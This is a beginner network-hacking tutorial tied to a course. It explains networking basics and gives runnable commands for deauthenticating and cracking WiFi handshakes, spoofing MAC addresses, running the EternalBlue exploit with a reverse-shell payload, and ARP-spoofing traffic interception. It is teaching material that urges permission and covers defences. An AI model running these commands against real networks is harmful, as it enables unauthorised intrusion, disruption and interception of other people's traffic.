Learn Network Hacking From Scratch (WiFi & Wired)

July 18, 2024

Learn Network Hacking From Scratch (WiFi & Wired)

In this course, you will start as a beginner with no previous knowledge about penetration testing or hacking and by the end of it you'll be at an intermediate ...

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Network hacking involves penetrating networks to identify vulnerabilities, improve security, or maliciously exploit these weaknesses. This guide introduces the basics of network hacking for both WiFi and wired networks, covering essential tools, techniques, and practices. Remember, ethical hacking aims to improve security, so always have permission before testing a network.

Understanding Network Fundamentals

Network Basics

Before diving into hacking, understanding how networks operate is crucial. Networks connect multiple devices, allowing them to communicate and share resources. They can be wired, using cables, or wireless, using radio waves.

Wired Networks: Use Ethernet cables to connect devices. They're generally faster and more secure than wireless networks.

Wireless Networks (WiFi): Use radio waves to connect devices. They're more flexible and easier to set up but can be less secure if not properly configured.

IP Addressing

Every device on a network has an IP address, a unique identifier that allows communication between devices. IP addresses can be static (fixed) or dynamic (assigned by DHCP).

Network Protocols

Protocols are rules that dictate how data is transmitted and received over a network. Common protocols include:

TCP/IP: Ensures reliable data transmission.
UDP: Faster but less reliable than TCP.
HTTP/HTTPS: Used for web traffic.
FTP: Used for file transfers.

Tools of the Trade

Several tools are essential for network hacking. Here are some popular ones:

Wireshark

Wireshark is a network protocol analyzer that captures and displays network packets in real-time. It helps analyze network traffic and identify potential vulnerabilities.

Nmap

Nmap (Network Mapper) is a powerful scanning tool used to discover hosts and services on a network. It identifies open ports, services running on them, and potential security risks.

Aircrack-ng

Aircrack-ng is a suite of tools for auditing wireless networks. It includes tools for capturing packets, cracking WEP/WPA-PSK keys, and more.

Metasploit

Metasploit is a penetration testing framework that helps find, exploit, and validate vulnerabilities in networks and systems.

Hacking WiFi Networks

WiFi Network Basics

WiFi networks broadcast an SSID (Service Set Identifier) to allow devices to connect. They're secured using encryption protocols like WEP, WPA, or WPA2.

WEP (Wired Equivalent Privacy): An outdated and insecure protocol.
WPA (WiFi Protected Access): More secure than WEP but still vulnerable.
WPA2: The current standard, offering strong security.

Capturing Handshakes

To hack a WiFi network, the first step is often capturing the 4-way handshake, a process that occurs when a device connects to a WiFi network. Tools like Aircrack-ng are used for this purpose.

Put your wireless interface in monitor mode: This allows your device to capture packets on a network.
```
bash
airmon-ng start wlan0
```
Capture packets: Use Airodump-ng to capture packets on the target network.
```
bash
airodump-ng wlan0mon
```
Capture the handshake: Deauthenticate a connected client to force a handshake capture.
```
bash
aireplay-ng --deauth 10 -a <BSSID> wlan0mon
```

Cracking WiFi Passwords

Once the handshake is captured, use Aircrack-ng or Hashcat to crack the WiFi password.

Aircrack-ng: A brute-force tool that tries passwords from a dictionary file.
```
bash
aircrack-ng -w wordlist.txt -b <BSSID> capturefile.cap
```
Hashcat: A powerful password cracker that supports GPU acceleration.
```
bash
hashcat -m 2500 capturefile.hccapx wordlist.txt
```

Bypassing MAC Filtering

Some networks use MAC address filtering to restrict access. To bypass this, change your MAC address to an allowed one using tools like Macchanger.

bash
ifconfig wlan0 down
macchanger -m <allowed-MAC> wlan0
ifconfig wlan0 up

Hacking Wired Networks

Network Scanning

Network scanning identifies live hosts, open ports, and services on a wired network. Nmap is commonly used for this purpose.

bash
nmap -sP 192.168.1.0/24
nmap -sV 192.168.1.1

-sP: Ping scan to identify live hosts.
-sV: Service version detection to identify services running on open ports.

Vulnerability Scanning

After identifying hosts and services, use tools like Nessus or OpenVAS to scan for vulnerabilities.

Exploiting Vulnerabilities

Metasploit is often used to exploit vulnerabilities. It provides a wide range of exploits and payloads to gain access to systems.

Start Metasploit: Launch the Metasploit console.
```
bash
msfconsole
```
Search for exploits: Find exploits for a specific vulnerability.
```
bash
search <vulnerability>
```

Use an exploit: Load the chosen exploit and configure it.

bash
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <target-IP>
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <your-IP>
exploit

Man-in-the-Middle (MITM) Attacks

MITM attacks intercept and manipulate network traffic. Tools like Ettercap or MITMf are used for such attacks.

Enable IP forwarding:

bash
echo 1 > /proc/sys/net/ipv4/ip_forward

Launch Ettercap:

bash
ettercap -T -q -i <interface> -M arp:remote /<target-IP>/ /<gateway-IP>/

Sniffing and Intercepting Traffic

Wireshark or Tcpdump can capture and analyze network traffic.

Capture traffic: Use Tcpdump to capture packets.
```
bash
tcpdump -i eth0 -w capture.pcap
```
Analyze traffic: Open the capture file in Wireshark for analysis.

Securing Your Network

Understanding how to hack networks helps in securing them. Here are some best practices:

For WiFi Networks

Use strong encryption: WPA2 or WPA3.
Change default passwords: Use complex passwords.
Disable WPS: WiFi Protected Setup is vulnerable.
Use MAC filtering: Restrict access to known devices.

For Wired Networks

Regularly update software: Patch vulnerabilities.
Use strong passwords: For devices and services.
Implement firewalls: Control incoming and outgoing traffic.
Monitor network traffic: Use tools like IDS/IPS (Intrusion Detection/Prevention Systems).

Legal and Ethical Considerations

Ethical hacking focuses on improving security, whereas illegal hacking aims to exploit vulnerabilities for malicious purposes. Always obtain permission before testing a network and adhere to legal and ethical guidelines.

Certifications

To validate your skills, consider pursuing certifications such as:

CEH (Certified Ethical Hacker)
OSCP (Offensive Security Certified Professional)
CISSP (Certified Information Systems Security Professional)

Conclusion

Network hacking involves a mix of technical skills, tools, and knowledge. By learning these techniques, you can better understand network vulnerabilities and help secure them. Always approach hacking with an ethical mindset, focusing on protecting and improving network security.